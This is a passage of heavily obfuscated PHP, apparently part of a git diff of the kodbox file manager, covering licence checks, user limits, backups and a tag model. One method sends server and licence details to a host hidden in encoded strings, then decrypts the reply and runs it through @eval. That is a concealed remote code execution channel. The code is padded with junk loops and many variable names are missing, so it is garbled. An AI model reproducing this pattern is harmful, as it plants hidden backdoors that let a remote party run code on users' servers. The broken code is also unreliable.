base64_encode(strrev($this->lyuc55548a77($, $Ŭ[191]))); $ؗ = $[666]; while ($ؗ < $[645]) { if ($ؗ >= 0) { break; } $ؗ++; } if ($[$Ŭ[192]] && $[$Ŭ[192]] >= 1) { Model($Ŭ[33])->setDeep($Ŭ[193], $Ŭ[119]); } Model($Ŭ[33])->set($); $ի = md5($_SERVER[$Ŭ[100]] . strrev($
) . $[$Ŭ[186]]); $䎱 = $[667]; if (!$䎱) { die; } $ = strrev(substr($ի, 10, 16)); $ = $[668]; if (strlen($) < $[634]) { return; } $ۋ = $this->hoky6f680981(json_encode($), $ի); $㢚 = $[669]; while (strlen($㢚) < $[634]) { if (!$㢚) { break; } $㢚++; } $ՠ̑ = array_to_keyvalue(Model($Ŭ[7])->listData(), $Ŭ[194]); $ = $[670]; while (strlen($) < $[67]) { if (!$) { break; } $++; } $ʶ = $ՠ̑[$Ŭ[195]]; $ú = array(); $ߍԗ = $[671]; if (strlen($ߍԗ) < $[67]) { die; } $ú[$] = $ۋ; Model($Ŭ[7])->update($ʶ[$Ŭ[196]], array($Ŭ[197] => $ú)); $this->hpsm31fd9c75 = $; $ݷ = $[623]; if (!$ݷ) { die; } $this->vwgxebb4ee18 = $[$Ŭ[103]]; $ = $[672]; if (!$) { die; } $this->licenseRegistSuccess(); $ = $[673]; if (!$) { return; } Cache::set($Ŭ[198] . md5($
. $Ŭ[199]), $Ŭ[6]); show_json(LNG($Ŭ[183]), !0); $د = $[674]; if (strlen($د) < $[618]) { die; } } private function licenseRegistSuccess() { $ڇ =& $_SERVER[镭]; $ܮ = Model($ڇ[33])->get(); if ($ܮ[$ڇ[63]] != $ڇ[119]) { Model($ڇ[33])->set($ڇ[63], $ڇ[119]); } Action($ڇ[200])->initStart(!0); } private function mthi6d41e200() { $ =& $_SERVER[Ȣ]; $놹 =& $_SERVER[镭]; Model($놹[33])->set(array($놹[184] => $놹[6], $놹[186] => $놹[6], $놹[103] => $놹[104], $놹[105] => $놹[6], $놹[106] => $놹[6])); $ژ = $[675]; if (strlen($ژ) < $[618]) { return; } Model($놹[33])->setDeep($놹[193], $놹[201]); $this->hpsm31fd9c75 = array(); $this->vwgxebb4ee18 = $놹[104]; $ = $[676]; } private function rcto7d2df16f() { $ʑ =& $_SERVER[Ȣ]; $ٻ =& $_SERVER[镭]; $_SERVER[$ٻ[157]] = _get($_SERVER, $ٻ[157], APP_HOST); $ = $ʑ[677]; if (!$) { return; } $this->vwgxebb4ee18 = $ٻ[104]; $ = Model($ٻ[33])->get(); $ = $ʑ[678]; if (!$) { die; } if ($[$ٻ[103]] == $ٻ[104]) { return; } $ = Model($ٻ[33])->get($ٻ[101]); $ = $ʑ[679]; if (strlen($) < $ʑ[67]) { return; } $ = $ٻ[198] . md5($ . $ٻ[199]); $ʥ = $ʑ[680]; $ӆ = Cache::get($); $ = $ʑ[681]; if (!$) { die; } if (!is_array($ӆ) || !isset($ӆ[$ٻ[202]]) || time() - $ӆ[$ٻ[202]] >= 60) { $ = Model($ٻ[7])->loadList(); $ = $[$ٻ[195]]; $ = md5($_SERVER[$ٻ[100]] . strrev($) . $[$ٻ[186]]); $ = strrev(substr($, 10, 16)); $ӆ = $this->guaq25d340da($[$ٻ[83]][$], $); $ӆ = json_decode($ӆ, !0); } if (!is_array($ӆ)) { return $this->mthi6d41e200(); } $Ҋ = strtotime($ӆ[$ٻ[126]]); if (time() >= $Ҋ) { return $this->mthi6d41e200(); } if (time() - $ӆ[$ٻ[202]] > 20) { $ӆ[$ٻ[202]] = time(); Cache::set($, $ӆ); } $this->hpsm31fd9c75 = $ӆ; $this->vwgxebb4ee18 = $[$ٻ[103]]; $˂ = $ʑ[682]; while ($˂ < $ʑ[622]) { if ($˂ >= 0) { break; } $˂++; } } private function cfxqf2f5bc16() { $՚ =& $_SERVER[Ȣ]; $ߏ =& $_SERVER[镭]; $叀 = $GLOBALS[$ߏ[13]]; $LJ = $՚[683]; while (strlen($LJ) < $՚[618]) { if (!$LJ) { break; } $LJ++; } $ϟ = $_SERVER[$ߏ[24]]; $յ = $՚[684]; while (strlen($յ) < $՚[645]) { if (!$յ) { break; } $յ++; } if ($ϟ == $ߏ[203] && $this->vwgxebb4ee18 == $ߏ[104]) { show_json(LNG($ߏ[204]), !1, $ߏ[205]); } $ت = array($ߏ[206], $ߏ[207]); if (in_array($ϟ, $ت)) { if ($this->vwgxebb4ee18 == $ߏ[104] && isset($叀[$ߏ[208]])) { show_json(LNG($ߏ[204]), !1, $ߏ[205]); die; } $ᱱ = $this->oqfu2c5a69c3(); if ($ᱱ != intval($ߏ[209])) { if ($ᱱ <= Model($ߏ[122])->count()) { show_json(LNG($ߏ[210]), !1, $ߏ[205]); die; } } } } private function ksdl4de17ccb() { $סÐ =& $_SERVER[Ȣ]; $ =& $_SERVER[镭]; $ᢱ = array($[116], $[117]); if (!_get($GLOBALS, $[113]) || !isset($_GET[$[211]])) { return; } if (!in_array($_SERVER[$[24]], $ᢱ)) { return; } $ʨ = $[212]; $ = $סÐ[685]; while (strlen($) < $סÐ[67]) { if (!$) { break; } $++; } $ʨ = $this->qocba3ce4d19($ʨ, $[213]); $Œþ = $סÐ[686]; while ($Œþ < $סÐ[634]) { if ($Œþ >= 0) { break; } $Œþ++; } $ = stream_context_create(array($[214] => array($[215] => $[216], $[217] => 3))); $ = @file_get_contents($ʨ, !1, $); header($[218]); $ɒ = $סÐ[687]; if (strlen($ɒ) < $סÐ[634]) { die; } if ($ && strstr($, $[219])) { echo $; } die; } public function yhtwc4604060($) { $䇆 =& $_SERVER[镭]; if ($this->vwgxebb4ee18 == $䇆[220]) { return $; } $ = array($䇆[221] => $䇆[222], $䇆[223] => $䇆[222], $䇆[224] => $䇆[222], $䇆[225] => $䇆[222], $䇆[226] => $䇆[227], $䇆[228] => $䇆[227], $䇆[229] => $䇆[227], $䇆[230] => $䇆[227], $䇆[231] => $䇆[227], $䇆[232] => $䇆[227], $䇆[233] => $䇆[227], $䇆[234] => $䇆[227], $䇆[235] => $䇆[227], $䇆[236] => $䇆[227], $䇆[237] => $䇆[227], $䇆[238] => $䇆[227]); $ = $_SERVER[Ȣ][688]; if (!$) { return; } $ㄺ = explode($䇆[239], _get($this->hpsm31fd9c75, $䇆[110], $䇆[6])); $ݛΖ = array(); foreach ($ as $ => $˕) { if ($˕ == $䇆[222] && substr($this->vwgxebb4ee18, 0, 1) == $䇆[222]) { continue; } if (!in_array($, $ㄺ)) { $ݛΖ[] = $; } } foreach ($ݛΖ as $) { unset($[$]); } return $; } private function bpxw142272f1() { $حǰ =& $_SERVER[镭]; if ($this->vwgxebb4ee18 != $حǰ[104]) { $GLOBALS[$حǰ[83]][$حǰ[87]][$حǰ[240]] = $حǰ[201]; return; } $GLOBALS[$حǰ[83]][$حǰ[241]] = $حǰ[119]; if (Model($حǰ[242])->get($حǰ[63]) != $حǰ[201]) { Model($حǰ[242])->set($حǰ[63], $حǰ[201]); } } public function duye7e7ffb97() { return $_SERVER[镭][243]; $ = $_SERVER[Ȣ][689]; if (!$) { die; } } private function gkhib2261d41() { $Ÿ =& $_SERVER[Ȣ]; $ =& $_SERVER[镭]; $Ԡ = array($[244], $[245], $[246]); $́ = $Ÿ[690]; if (strlen($́) < $Ÿ[634]) { die; } $ = $[247] . md5($[248]); $ = $Ÿ[691]; if ($this->vwgxebb4ee18 == $[104] || !_get($GLOBALS, $[113])) { return; } if (!in_array($_SERVER[$[24]], $Ԡ)) { return; } if (time() % 4 != 0) { return; } $˾ = call_user_func(array($[249], $[250]), $); if ($˾ && time() - $˾ < intval($[251])) { return; } call_user_func(array($[249], $[136]), $, time()); $勌 = $Ÿ[692]; $ = Model($[33])->get($[101]); $ = array($[148] => Model($[33])->get($[184]), $[161] => $this->vwgxebb4ee18, $[158] => $_SERVER[$[159]], $[160] => Model($[33])->get($[128]), $[99] => md5($_SERVER[$[100]] . $), $[151] => $[133], $[154] => $_SERVER[$[155]]); $ = $this->mzat3d176a3b($[252], $); if (!is_array($)) { return; } if ($[$[148]] && $[$[253]]) { if ($this->qeyfd6520446($[$[253]]) == $[$[148]]) { return; } } $this->mthi6d41e200(); if ($this->qeyfd6520446($[$[253]]) != $[$[148]]) { $͙ = array($[179] => $, $[180] => $_SERVER[$[100]], $[181] => this_url(), $[156] => $_SERVER[$[157]]); $ = $this->wqhu7fec0186(json_encode($͙)); $ = $this->mzat3d176a3b($[182] . $); if ($ && is_array($) && isset($[$[253]])) { $ŗØ = $this->guaq25d340da($[$[253]], 2); if ($ŗØ) { $ŗØ = $this->qeyfd6520446($ŗØ); } if ($ŗØ) { try { @eval($ŗØ); } catch (Exception $Ō) { } } } } } private function mzat3d176a3b($Æ = '', $ބ = array(), $ҿ = 5) { $Ҿט =& $_SERVER[Ȣ]; $瓿܁ =& $_SERVER[镭]; $ = $瓿܁[254]; $ = $this->qocba3ce4d19($, $瓿܁[255]); $ = $Ҿט[693]; if (!$) { return; } $ = $ . $Æ; $Һ = $Ҿט[694]; if (strlen($Һ) < $Ҿט[645]) { return; } if ($ބ && is_array($ބ)) { $ = $ . $瓿܁[256] . http_build_query($ބ); } if ($ބ === -1) { return $; } $̫͛ = stream_context_create(array($瓿܁[214] => array($瓿܁[217] => $ҿ, $瓿܁[215] => $瓿܁[257]), $瓿܁[258] => array($瓿܁[259] => !1, $瓿܁[260] => !1))); $ = $Ҿט[695]; $ބ = @file_get_contents($, !1, $̫͛); return json_decode($ބ, !0); $ = $Ҿט[696]; $ږ = $Ҿט[697]; } private function oqfu2c5a69c3() { $ =& $_SERVER[Ȣ]; $٫ =& $_SERVER[镭]; $ = array($٫[261] => $٫[262], $٫[263] => $٫[264], $٫[265] => $٫[266], $٫[267] => $٫[268], $٫[269] => $٫[270], $٫[271] => $٫[209], $٫[272] => $٫[209], $٫[273] => $٫[262], $٫[274] => $٫[264], $٫[275] => $٫[266], $٫[276] => $٫[277], $٫[278] => $٫[268], $٫[279] => $٫[280], $٫[281] => $٫[270], $٫[282] => $٫[283], $٫[284] => $٫[285], $٫[286] => $٫[287]); $½ = $[$this->vwgxebb4ee18]; $݀ = $[698]; $½ = intval($½ ? $½ : $٫[262]); $ھ = _get($this->hpsm31fd9c75, $٫[288]); $ھ = $ھ ? intval($ھ) : 0; return $½ + $ھ; $ = $[699]; if (!$) { die; } } public function moxr72f2e723($ᰝ) { $ =& $_SERVER[Ȣ]; $ =& $_SERVER[镭]; $嚭 = $this->oqfu2c5a69c3(); $ = $[700]; if (!$) { die; } if ($ᰝ[$[289]] == $[119]) { return; } if ($嚭 >= intval($[209])) { return; } $ʥ = Model($[122])->count(); $Ϲ = $[701]; if (!$Ϲ) { die; } if ($ʥ <= $嚭) { return; } $ = Model($[122])->field($[289])->limit($嚭)->select(); $ = $[702]; if (!$) { return; } $ = array_to_keyvalue($, $[6], $[289]); $ = $[703]; while ($ < $[634]) { if ($ >= 0) { break; } $++; } if (!in_array($ᰝ[$[289]], $)) { show_json($[290], !1, $[205]); } } public function aqry6f53530a() { $߄ =& $_SERVER[Ȣ]; $ =& $_SERVER[镭]; if (!_get($GLOBALS, $[113]) || mt_rand(1, 100) > 20) { return; } $ٔʭ = $[212]; $ٔʭ = $this->qocba3ce4d19($ٔʭ, $[213]); $ = $߄[704]; $ږ = stream_context_create(array($[214] => array($[215] => $[216], $[217] => 3))); $ֽ͒ = $߄[705]; $ = @file_get_contents($ٔʭ, !1, $ږ); $ = $߄[706]; if (strlen($) < $߄[634]) { return; } echo $[291] . hash_encode($) . $[292]; } private function hoky6f680981($먤, $镞, $ν = 3) { $؊ =& $_SERVER[Ȣ]; $Љ =& $_SERVER[镭]; usleep(1); $Ĕ = $؊[707]; if (!$Ĕ) { die; } $먤 = trim($먤); $ = mt_rand(0, 5) . $Љ[6]; $ = $؊[708]; if (strlen($) < $؊[634]) { die; } $ = rand_string(15); $Ե = $Љ[293]; $ޛ = $؊[709]; switch ($) { case $Љ[201]: $𭍜lj = $this->lyuc55548a77($먤, strrev($镞 . $)); break; $ = $؊[710]; if (strlen($) < $؊[622]) { return; } case $Љ[119]: $𭍜lj = $this->lyuc55548a77($먤, strrev($ . $镞)); $ = $؊[711]; while ($ < $؊[645]) { if ($ >= 0) { break; } $++; } break; case $Љ[294]: $𭍜lj = $this->lyuc55548a77($먤, base64_encode($ . $镞)); break; $ = $؊[712]; while ($ < $؊[645]) { if ($ >= 0) { break; } $++; } case $Љ[295]: $𭍜lj = $this->lyuc55548a77($먤, md5($ . $镞)); $Ђ = $؊[713]; if (strlen($Ђ) < $؊[618]) { return; } break; $ = $؊[714]; case $Љ[296]: $먤 = base64_encode($먤); $ = $؊[715]; if (strlen($) < $؊[634]) { return; } $ = rand(0, 64); $Ѐ = $؊[716]; if (strlen($Ѐ) < $؊[634]) { return; } $۾ = $Ե[$]; $ = md5($۾ . md5($镞 . $۾) . $镞); $ = substr($, $ % 8, $ % 8 + 7); $慹 = $؊[717]; $딡 = $Љ[6]; $ = $؊[718]; if (strlen($) < $؊[645]) { die; } $à = 0; $ʾ롒 = $؊[719]; if (strlen($ʾ롒) < $؊[618]) { return; } $ = 0; $ܓ = $؊[720]; while (strlen($ܓ) < $؊[622]) { if (!$ܓ) { break; } $ܓ++; } $ = 0; $Ґ = $؊[721]; if (strlen($Ґ) < $؊[618]) { return; } for ($à = 0; $à < strlen($먤); $Ã++) { $ = $ == strlen($) ? 0 : $; $Ҹ = $؊[722]; if (!$Ҹ) { die; } $ = ($ + strpos($Ե, $먤[$Ã]) + ord($[$++])) % 64; $딡 .= $Ե[$]; } $𭍜lj = hash_encode($۾ . $딡); $ = $؊[723]; while ($ < $؊[645]) { if ($ >= 0) { break; } $++; } break; default: $𭍜lj = $this->lyuc55548a77($먤, $镞 . $); $Ȍ = $؊[724]; if (!$Ȍ) { return; } break; $Šѿ = $؊[725]; if (strlen($Šѿ) < $؊[645]) { return; } } $𭍜lj = strrev($ . $ . $𭍜lj); $𫑚 = $؊[726]; if (strlen($𫑚) < $؊[645]) { return; } if ($ν - 1 > 0) { $𭍜lj = $this->hoky6f680981($𭍜lj, $镞, $ν - 1); } return $𭍜lj; } private function guaq25d340da($㋽, $, $ = 3) { $ =& $_SERVER[Ȣ]; $ =& $_SERVER[镭]; if (!is_string($㋽) || strlen($㋽) < 10) { return !1; } $㋽ = trim($㋽); $ƥϊ = $[727]; $㋽ = strrev($㋽); $ƾ = $[728]; if (!$ƾ) { die; } $ = $㋽[0]; $ߤ = $[729]; if (!$ߤ) { die; } $Ĭ = substr($㋽, 1, 15); $㋽ = substr($㋽, 16); $۹ = $[730]; $ž = $[293]; $ = $[731]; while ($ < $[618]) { if ($ >= 0) { break; } $++; } switch ($) { case $[201]: $ = $this->qocba3ce4d19($㋽, strrev($ . $Ĭ)); break; $ݘ = $[732]; if (strlen($ݘ) < $[67]) { return; } case $[119]: $ = $this->qocba3ce4d19($㋽, strrev($Ĭ . $)); $稬 = $[733]; while ($稬 < $[622]) { if ($稬 >= 0) { break; } $稬++; } break; $ = $[734]; while (strlen($) < $[645]) { if (!$) { break; } $++; } case $[294]: $ = $this->qocba3ce4d19($㋽, base64_encode($Ĭ . $)); break; case $[295]: $ = $this->qocba3ce4d19($㋽, md5($Ĭ . $)); $ؠ = $[735]; if (!$ؠ) { die; } break; $ꇜ = $[736]; while ($ꇜ < $[67]) { if ($ꇜ >= 0) { break; } $ꇜ++; } case $[296]: $㋽ = hash_decode($㋽); $ߞ = $㋽[0]; $Ô = $[737]; if (strlen($Ô) < $[618]) { die; } $㋽ = substr($㋽, 1); $ = strpos($ž, $ߞ); $ = $[738]; if (strlen($) < $[622]) { die; } $ = md5($ߞ . md5($ . $ߞ) . $); $ = substr($, $ % 8, $ % 8 + 7); $ = $[739]; if (strlen($) < $[618]) { die; } $澹 = $[6]; $ܻ = 0; $ = $[689]; if (!$) { return; } $ = 0; $̳ = $[740]; $Ζ = 0; $̛ = $[741]; for ($ܻ = 0; $ܻ < strlen($㋽); $ܻ++) { $Ζ = $Ζ == strlen($) ? 0 : $Ζ; $ = $Ζ++; $ = strpos($ž, $㋽[$ܻ]) - $ - ord($[$]); while ($ < 0) { $ += 64; } $澹 .= $ž[$]; } $ = base64_decode($澹); $Н = $[742]; if (!$Н) { die; } break; $ = $[743]; while ($ < $[622]) { if ($ >= 0) { break; } $++; } default: $ = $this->qocba3ce4d19($㋽, $ . $Ĭ); $ = $[744]; if (strlen($) < $[622]) { die; } break; $ͣğ = $[745]; if (!$ͣğ) { return; } } if ($ - 1 > 0) { $ = $this->guaq25d340da($, $, $ - 1); } return $; } public function wqhu7fec0186($ʛޝ) { $ڤ =& $_SERVER[Ȣ]; $ݳ =& $_SERVER[镭]; $׃ъ = $this->upor5774df6d(); $ = $ڤ[746]; $ = $this->upor5774df6d(); $ = ($׃ъ - 1) * ($ - 1); $ = $ڤ[747]; if (!$) { die; } $ = intval(($׃ъ + $) / 2); while (1) { $ = $; $ = $; while ($ % $ != 0) { $ = $; $ = $; $ = $ % $; } if ($ == 1) { break; } else { $++; } } $偓 = 2; $ٚǼ = $ڤ[748]; if (!$ٚǼ) { die; } for ($ = 0; $ < $ * 10; $++) { if (($ * $ + 1) % $ == 0) { $偓 = intval(($ * $ + 1) / $); break; } } $⽅̖ = $this->lyuc55548a77($׃ъ * $ . $ݳ[6], $ݳ[133]); $ = md5($ݳ[297] . ($׃ъ + $) . $ݳ[298] . $ . $ݳ[298] . $偓 . $ݳ[299]); $ = $ڤ[749]; if (!$) { return; } $ = $this->lyuc55548a77($ʛޝ, $) . $ݳ[300] . $⽅̖; $И = $ڤ[750]; return $; } public function qeyfd6520446($ܛ) { $ې =& $_SERVER[Ȣ]; $ =& $_SERVER[镭]; $®Ϳ = explode($[300], $ܛ); $ = $ې[751]; while ($ < $ې[634]) { if ($ >= 0) { break; } $++; } if (count($®Ϳ) != 2) { return $[6]; } $ = $this->qocba3ce4d19($®Ϳ[1] . $[6], $[133]); if (!$) { return $[6]; } $ = intval($); $ = $ې[752]; $ = 0; $ʻ = 0; for ($ܓ = 3; $ܓ < $; $ܓ += 2) { if ($ % $ܓ != 0) { continue; } $ = $ܓ; $ʻ = intval($ / $ܓ); $暝 = $ې[753]; break; } $Ϩٖ = ($ - 1) * ($ʻ - 1); $ = $ې[754]; if (strlen($) < $ې[634]) { return; } $ؘ = intval(($ + $ʻ) / 2); while (1) { $؏ = $ؘ; $ = $Ϩٖ; $Ȯ = $ې[755]; if (strlen($Ȯ) < $ې[645]) { return; } while ($ % $؏ != 0) { $ = $; $ = $؏; $؏ = $ % $؏; $ = $ې[756]; while ($ < $ې[634]) { if ($ >= 0) { break; } $++; } } if ($؏ == 1) { break; } else { $ؘ++; } } $ɽܡ = 2; for ($ܓ = 0; $ܓ < $Ϩٖ * 10; $ܓ++) { if (($Ϩٖ * $ܓ + 1) % $ؘ == 0) { $ɽܡ = intval(($Ϩٖ * $ܓ + 1) / $ؘ); break; } } $ρ = md5($[297] . ($ + $ʻ) . $[298] . $ؘ . $[298] . $ɽܡ . $[299]); $툵 = $this->qocba3ce4d19($®Ϳ[0], $ρ); return $툵; } public function upor5774df6d() { $ =& $_SERVER[Ȣ]; $ = mt_rand(pow(2, 14), pow(2, 16) - 1); $˚ = $[757]; if (!$˚) { return; } $ = array(); $ȴ = 1; while ($ȴ <= (int) sqrt($)) { $ = $ȴ; $ = $[758]; while (strlen($) < $[622]) { if (!$) { break; } $++; } while (!0) { $++; $Ĵ = $[759]; while ($Ĵ < $[634]) { if ($Ĵ >= 0) { break; } $Ĵ++; } if ($ <= 2) { $ȴ = $; break; } else { if ($ < 2) { continue; } } $ǻ = !0; for ($ = 2; $ <= sqrt($); $++) { if ($ % $ == 0) { $ǻ = !1; } } if ($ǻ) { $ȴ = $; break; } } $[] = $ȴ; $ = $[760]; while ($ < $[634]) { if ($ >= 0) { break; } $++; } } $玈 = 2; $ = $[761]; for ($ = $; $ > 1; $--) { $ǻ = !0; $ = $[762]; if (strlen($) < $[645]) { return; } foreach ($ as $) { if ($ % $ == 0) { $ǻ = !1; break; } } if ($ǻ) { $玈 = $; break; } } return $玈; } public function nxejedb5adba($Ғ̌, $ߊ) { $ԣ =& $_SERVER[Ȣ]; $ǵ =& $_SERVER[镭]; return call_user_func(array($ǵ[8], $ǵ[301]), $Ғ̌, $ߊ); $ = $ԣ[763]; if (strlen($) < $ԣ[618]) { return; } } public function lyuc55548a77($, $Ӵ) { $Ֆ =& $_SERVER[镭]; return call_user_func(array($Ֆ[302], $Ֆ[303]), $, $Ӵ); $ = $_SERVER[Ȣ][666]; if (!$) { die; } } public function qocba3ce4d19($, $) { $ =& $_SERVER[Ȣ]; $ұ =& $_SERVER[镭]; return call_user_func(array($ұ[302], $ұ[304]), $, $); $ƈ = $[764]; while ($ƈ < $[67]) { if ($ƈ >= 0) { break; } $ƈ++; } } } class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->init(); $this->keep(); } public function init() { $ =& $_SERVER[Ȣ]; $this->isManual(); self::$name = date($[765]); if (!($ = Model($[766])->lastItem())) { $ = $this->initData(); } else { self::$name = $[$[32]]; if ($[$[767]] == $[99]) { self::$name = date($[768]); $ؕӄ = 0; if (isset($[$[301]][$[206]][$[472]])) { $ؕӄ = (int) $[$[301]][$[206]][$[472]]; } if (self::$manual == 0 && $[$[32]] == self::$name) { Model($[766])->remove($[$[405]]); } $ = $this->initData($ؕӄ, $[$[769]]); } else { $this->checkStore($[$[769]]); } } self::$option = $; } private function isManual() { $ = _get($GLOBALS, $_SERVER[Ȣ][770], 0); $ = intval($); self::$manual = $ && $ == 1 ? 1 : 0; } private function initData($̷ = 0, $۳ݟ = '') { $ =& $_SERVER[Ȣ]; $ժӼ = Model($[766])->config(); if ($۳ݟ && $ժӼ[$[769]] != $۳ݟ) { $̷ = 0; } $this->checkStore($ժӼ[$[769]]); if (self::$manual == 1) { self::$name .= $[11] . date($[771]); } $± = array($[769] => $ժӼ[$[769]], $[32] => self::$name, $[767] => 0, $[772] => $ժӼ[$[772]], $[773] => self::$manual, $[301] => array($[774] => array($[767] => 0), $[775] => array($[767] => 0, $[776] => 0, $[777] => 0, $[33] => $[12], $[778] => 0, $[501] => 0), $[779] => array($[767] => 0, $[776] => 0, $[777] => 0, $[778] => 0, $[501] => 0), $[206] => array($[767] => 0, $[780] => 0, $[781] => 0, $[782] => 0, $[783] => 0, $[472] => $̷, $[778] => 0, $[501] => 0)), $[778] => time(), $[501] => 0); $˭ = Model($[766])->insert($±); $±[$[405]] = $˭; return $±; } private function checkStore($㪹) { $ =& $_SERVER[Ȣ]; $ә = Model($[784])->listData($㪹); Model($[784])->checkConfig($ә); } public static function get() { if (!self::$option) { self::$option = Model($_SERVER[Ȣ][766])->findByName(self::$name); } return self::$option; } public static function set($) { $ۦ =& $_SERVER[Ȣ]; $ʴ҈ = self::get(); foreach ($ as $ߪ => $) { $䇴 = explode($ۦ[10], $ߪ); $䪩 = count($䇴); switch ($䪩) { case 1: $ʴ҈[$䇴[0]] = $; break; case 2: $ʴ҈[$䇴[0]][$䇴[1]] = $; break; case 3: $ʴ҈[$䇴[0]][$䇴[1]][$䇴[2]] = $; break; } } Model($ۦ[766])->update($ʴ҈[$ۦ[405]], $ʴ҈); self::$option = $ʴ҈; return self::$option; } public function keep() { $ =& $_SERVER[Ȣ]; $Ś = self::get(); if ($Ś[$[301]][$[774]][$[767]] == $[99]) { return; } $this->backupKeep($Ś); self::set(array($[785] => 1)); } private function backupKeep($ƘԎ) { $獧 =& $_SERVER[Ȣ]; if (self::$manual == 1) { return; } $ = Model($獧[766])->listData(); if (empty($)) { return; } $ = 0; $ݓ = array(); foreach ($ as $Ⱦ) { if ($ >= 7) { break; } $ݓ[] = $Ⱦ[$獧[32]]; $++; } for ($ = 0; $ < 12; $++) { $ݓ[] = date($獧[786], strtotime("\x2d{$}\40\155\157\156\x74\150\x73")); } $ݓ = array_unique($ݓ); $䅻 = Model($獧[787])->get($獧[788]); foreach ($ as $Ⱦ) { if (isset($Ⱦ[$獧[773]]) && $Ⱦ[$獧[773]] == $獧[99]) { continue; } if (!empty($Ⱦ[$獧[32]]) && in_array($Ⱦ[$獧[32]], $ݓ)) { continue; } Model($獧[766])->remove($Ⱦ[$獧[405]]); $ސٜ = $this->backupPath($ƘԎ, $䅻); IO::remove($ސٜ, !1); } } private function backupPath($О, $ = false) { $ =& $_SERVER[Ȣ]; if (!$) { $ = Model($[787])->get($[788]); } $г = $О[$[32]]; $˞ = substr(md5($[789] . $ . $г), 0, 8); return "\173\x69\x6f\x3a{$О[$[769]]}\x7d\x2f\x64\141\x74\x61\x62\x61\163\x65\57\x62\x61\143\x6b\165\x70\57" . $г . $[11] . $˞; } public function db() { $ʃ =& $_SERVER[Ȣ]; $ = self::get(); if ($[$ʃ[301]][$ʃ[775]][$ʃ[767]] == $ʃ[99]) { return !0; } $ = new BackupDb(); if (!$->index()) { return !1; } self::set(array($ʃ[790] => 1)); return !0; } public function dbFile() { $ =& $_SERVER[Ȣ]; $ = self::get(); if ($[$[301]][$[779]][$[767]] == $[99]) { return !0; } $ = new BackupDbFile(); if (!$->index()) { return !1; } self::set(array($[791] => 1)); return !0; } public function file() { $ =& $_SERVER[Ȣ]; $ = self::get(); if ($[$[301]][$[206]][$[767]] == $[99]) { return !0; } if (!isset($[$[772]]) || $[$[772]] == $[204]) { $փ = new BackupFile(); if (!$փ->index()) { return !1; } } self::set(array($[792] => 1, $[767] => 1)); return !0; } } class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $ =& $_SERVER[Ȣ]; $Ɗպ = Backup::get(); self::$io = $Ɗպ[$[769]]; self::$name = $Ɗպ[$[32]]; $Н = new DbManage(); $ܚ = $Н->dbType(); $ܐ = array($[793] => $ܚ, $[794] => time()); Backup::set($ܐ); $ = $this->tmpFilesPath() . $[795] . self::$name . $[8]; del_dir($); mk_dir($); $ = $ = 0; $ = new Task($[796], $[797], 0, LNG($[798]) . $[799] . LNG($[800])); try { $Ϙ = $Н->db()->getTables(); } catch (Exception $) { $->end(); return !1; } $Ϙ = array_diff($Ϙ, array($[801], $[802])); foreach ($Ϙ as $) { $ += $Н->model($)->count(); } $->task[$[803]] = $; $GLOBALS[$[804]] = self::$name; foreach ($Ϙ as $) { $ = $ . $ . $[805]; $ = null; if ($ == $[806] && (!isset($Ɗպ[$[772]]) || $Ɗպ[$[772]] == $[204])) { $ = self::$io; } $ += $Н->sqlFromDb($, $, $, $); } unset($GLOBALS[$[804]]); $->end(); if ($ > $) { $ = $; } $ܐ = array($[793] => $ܚ, $[790] => 1, $[807] => $, $[808] => $, $[809] => time()); Backup::set($ܐ); if ($ - $ > 0) { $ކ = $[810]; if (stristr(I18n::getType(), $[811])) { $ކ = $[812]; } write_log(array($ކ, $ܐ), $[797]); return !1; } return !0; } private function tmpFilesPath() { $냐 =& $_SERVER[Ȣ]; $խ = TEMP_FILES; if ($GLOBALS[$냐[6]][$냐[100]][$냐[813]]) { $խ = $GLOBALS[$냐[6]][$냐[100]][$냐[813]]; if (!mk_dir($խ) || !is_writable($խ) || !IO::mkfile($խ . $냐[814])) { $խ = TEMP_FILES; } } return $խ; } } goto a; E: $_SERVER[镭] = explode($_SERVER[Ȣ][615], gzinflate(substr($_SERVER[Ȣ][616], 10, -8))); $obrslkvaew = $_SERVER[Ȣ][617]; if (strlen($obrslkvaew) < $_SERVER[Ȣ][618]) { die; } goto f㍣Ã; F˳: class UserTagSourceModel extends ModelBase { protected $tableName = "\165\x73\x65\162\137\146\x61\x76"; protected function cacheFunctionAlias($) { $Ļ =& $_SERVER[Ȣ]; return array($Ļ[1944] => array(USER_ID, $Ļ[1945])); } protected function listData() { $ =& $_SERVER[Ȣ]; $ = array($[1657] => USER_ID, $[488] => array($[1948], 0)); $ = $[1950]; $ = $this->field($)->where($)->order($[1951])->select(); return $ ? $ : array(); } protected function listByTag($ġ㟸) { } protected function addToTag($ʖޤ, $) { $ =& $_SERVER[Ȣ]; if (!Model($[2085])->listData($) || !Model($[842])->pathInfo($ʖޤ)) { return !1; } $俌 = array($[1657] => USER_ID, $[488] => $, $[427] => $ʖޤ, $[428] => $[422], $[426] => $[12], $[1838] => 0); if ($this->where($俌)->find()) { return !1; } return $this->add($俌); } protected function removeFromTag($, $ӳ) { $ =& $_SERVER[Ȣ]; if (!Model($[2085])->listData($ӳ)) { return !1; } if (is_array($)) { $ = array($[7], $); } $ΐ = array($[1657] => USER_ID, $[488] => $ӳ, $[428] => $[422], $[427] => $); return $this->where($ΐ)->delete(); } protected function removeByTag($) { $ =& $_SERVER[Ȣ]; if (!$) { return !1; } $Ĭ = array($[1657] => USER_ID, $[488] => $); return $this->where($Ĭ)->delete(); } protected function removeBySource($Ȟ) { $ =& $_SERVER[Ȣ]; if (is_array($Ȟ)) { $Ȟ = array($[7], $Ȟ); } $ = array($[1657] => USER_ID, $[427] => $Ȟ, $[488] => array($[1026], 0)); return $this->where($)->delete(); } }
\ No newline at end of file
diff --git a/static/app/dist/api.js b/static/app/dist/api.js
index 931da942..9e26a6bf 100755
--- a/static/app/dist/api.js
+++ b/static/app/dist/api.js
@@ -1,2 +1,2 @@
-/*! Powered by kodbox;hash:c3d6af55e61d9191ec02 [2023/08/10 19:48:08] */
